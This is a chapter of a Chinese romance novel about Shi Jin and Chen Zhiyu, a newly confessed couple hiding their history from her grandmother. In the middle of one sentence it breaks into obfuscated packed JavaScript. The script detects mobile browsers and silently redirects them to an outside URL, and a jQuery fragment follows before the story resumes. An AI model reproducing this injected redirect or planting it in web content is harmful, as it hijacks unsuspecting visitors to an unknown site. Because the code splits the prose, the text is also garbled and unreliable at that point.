毕业旅行最后一程，陈知聿向她告了白。
从露营地离开的那天刚巧是个大晴天，也是他们正式确定关系的第三天。
在这期间，两人最亲密的举动就是拥抱。
回程的大巴吵吵嚷嚷。
时锦前一天没睡好，拉着陈知聿躲在后面补眠。
这一觉睡得昏昏沉沉，醒来时已是傍晚。
大巴内没什么声响，朋友们大多睡着。
她扭头问陈知聿到了吗。
男生把玩着她的手指，放轻声音说：“刚下高速，估计还有半个小时到。”
时锦嗯了一声。
陈知聿伸手拨弄她脸上碎发：“不睡了？”
她点点头，勾着嘴角回：“睡饱了。”
“……可我没睡好。”
时锦：“嗯？”
“你离我这么近，我怎么睡得着？”
陈知聿的嗓音本就好听，此刻怕吵到别人，更是刻意地压低音量，用轻声凑近她的耳朵撒娇。
时锦顿时感到一阵痒意。
“是我把你肩膀压痛了吗？”
她误以为他没睡着是因为肩膀不舒服。
陈知聿听见她的回答无奈勾唇，脑袋往椅背上一靠，额前松软的头发被微风吹散，露出清澈的眉眼。
他沉默片刻，扭头目光灼灼地盯她。
“……如果是呢？你要怎么补偿我？”
她眨了眨眼，试探性地回复：“让你靠回来？”
从喉咙里溢出的低笑声传到耳边，在她没来得及反应过来的时候，陈知聿温热的嘴唇轻轻覆上她。
然后飞速离去。
一个浅尝辄止的吻。
时锦的脸庞瞬间红了大半。
陈知聿嘴角贴近她耳边。
“这样就可以。”
他轻轻笑。
脸颊边缘是浓烈又甜腻的橙子味道，场景从大巴回到树林。
四周没有光，只有头顶月亮洒下几分光亮。
时锦把剩余的烟花棒收好。
拉上拉链，她沉默了几秒后抬起头，用自认为逻辑通顺的理由为面前人找了解释。
“我能理解的。”
陈知聿垂眸，声音有些冷。
“你说什么？”
“刚刚啊。”她故作自然地笑。
“毕竟你从国外回来没多久，一些习惯可能还没改过来。下次注意就行了，不然容易让人误会。”
周遭暗掉的情况下，本就近视的她更看不清男人的表情，只能通过其他感官来判断他此刻的情绪。
低沉的呼吸声落到耳边，在她说完之后，他似乎笑了一下。
但听起来不太友好，让她止不住紧张地攥紧了手。
“我在国外从来不跟别人这样。”
他闷着声开口，语调沙哑，夹着怨念。
时锦眸光不自然颤动。
他瞧着她，再度轻笑。
“这你难道不知道吗？”
时锦的脸色骤然变差。
她垂下眼睫，薄唇微张，缓慢而又克制地呼了口气。
“陈知聿。”
她放轻声音唤他。
“我希望明年的今天你是开心的。”
“所以……不要逼我好吗？”
女孩的眼神怅惘又坚定。
他垂眸望着她，嗓子里像是含了块晶莹剔透的冰，从头到脚凉了个彻底。
她还是抵触他。
眼睫垂落，陈知聿收敛心神，压住喉间那股追问的欲望，接过她手中的斜挎包，自然而然地背过去。
“因为那些都不算我朋友。”
他轻声说，目光落到她脸颊。
“你和他们不一样。”
到家已经快九点。
奶奶给他们留了菜，放在灶台上保温。
陈知聿仍然打算把那条鱼给煮了。
时锦连忙拦着他，这个点煮鱼汤，未免太浪费了。
“家里还有面条，煮碗面算了。”
男人没说什么，只扭头看她：“我累了。”
时锦轻叹一声，听出他在生闷气，于是出声安抚道：“那你先休息，我去煮。”
陈知聿眼神凉凉地看她一眼。
时锦抿唇，转身装作看不到。
吃完晚饭已经快十点。
窗外漆黑一片，陈知聿洗好澡，上好烫伤膏，又被时锦盯着喝了杯感冒药。
男人垂眸，看着手心杯子里冒出的热气。
“明年的今天，我一定会想到它的。”
时锦被他的话逗笑：“谁让你现在这么脆皮？要是跟上次一样发烧，那就很麻烦了。”
“上次是意外。”
陈知聿不喜欢她这样说，感觉像是在说他身娇体弱一样，闷着声为自己辩解。
“我身体很好，是你太紧张了。”
“行。”时锦跟着他应和：“身体很好的人，快回去睡觉吧，明天还要早起呢。”
葵厘镇中心广场明日有歌舞活动，外婆和奶奶都想去看。
时锦原本计划是叫辆车。
但陈知聿自作主张，提前跟外婆说好，会开车带她们去。
时锦也没办法，只能任由他安排。
外婆照
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611357|185184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常睡得很早，时锦留在客厅陪奶奶看节目。
电视里放着当下流行的爱情剧，奶奶看着看着，突然扭头问她有没有交男朋友。
“没有。”她利落地否认。
“现在工作忙，没时间恋爱。”
“那小陈呢？”
“他？”时锦神色一慌：“他怎么可能？我们就是普通朋友。”
“我问的不是这。”奶奶无奈地笑。
“我是问你小陈有没有女朋友？”
时锦神色骤然放松，尴尬地哦了一声回复她：“没有，他也是单身。”
“你之前读大学的时候，是不是带过男朋友回来？”
奶奶沉默了一会，不知想起了什么，又开始追问。
这次问题更加尖锐，时锦忍不住绷紧了身子。
她点了点头：“大二过年的时候。”
“当时你那个男朋友叫什么来着？”
时锦蹙眉，回避道：“我跟他已经分手了。”
“我知道。”奶奶咧着嘴笑，解释自己这样问的原因。
“主要晚上小陈帮我拧瓶盖的时候，我突然感觉脑子里好像有过这个画面。
后来跟你外婆一合计，应该是你之前那个男朋友。
这样想想，小陈跟他还挺像的。”
时锦轻声笑：“您都不记得他名字了，还记得人家长相啊。”
她的心神随着奶奶的话松动片刻。
下一秒，又再次收紧。
“不过说起来……”奶奶凑近她身旁，压低声音：“小陈这孩子确实挺好的，和你之前那个男朋友有的一拼。”
能不拼吗？
本身就是一个人。
时锦在心底说。
“你对他……真没点意思？”奶奶接着说。
不怪她这样想，毕竟小锦很少带朋友回来，除了晓彤和大学期间分手的“男朋友”，就只剩下陈知聿这一个异性。
“我们就是普通朋友。”
时锦再次重复。
“可我看你对小陈挺上心的呀。”奶奶轻声调笑她：“你妈之前跟我说，你对相亲的男生可都很冷漠的。”
“因为那是陌生人。”她轻声解释。
“我对朋友很好，他当然也不例外。”
“真的？”
“真的。”
怕奶奶不信，改天再跟她爸妈说。时锦沉默几秒，干脆又补了一句。
“我不喜欢他。”
楼梯拐角，陈知聿下楼的步子突然停顿。
方格的窗玻璃外，月亮被层层乌云遮住。
明天不是个好天气。